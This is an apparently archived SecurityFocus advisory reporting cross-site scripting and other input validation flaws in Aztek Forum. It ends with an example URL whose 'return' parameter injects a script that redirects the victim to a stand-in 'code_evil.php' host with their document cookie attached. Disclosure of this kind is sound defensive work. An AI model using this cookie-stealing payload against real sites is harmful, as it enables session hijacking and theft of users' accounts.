source: https://www.securityfocus.com/bid/11654/info

Aztek Forum is reported prone to multiple input validation vulnerabilities. These issues may allow an attacker to carry out cross-site scripting and possibly other attacks.

All versions of Aztek Forum are considered vulnerable at the moment.

http://www.example.com/forum%20aztek/forum_2.php?msg=10
&return=')%3C/script%3E%3Cscript%3E%20% 20document.location=%20'www.example.com/code_evil.php?
cookie='%20+window.document.cookie;%20%20%3C/script%3E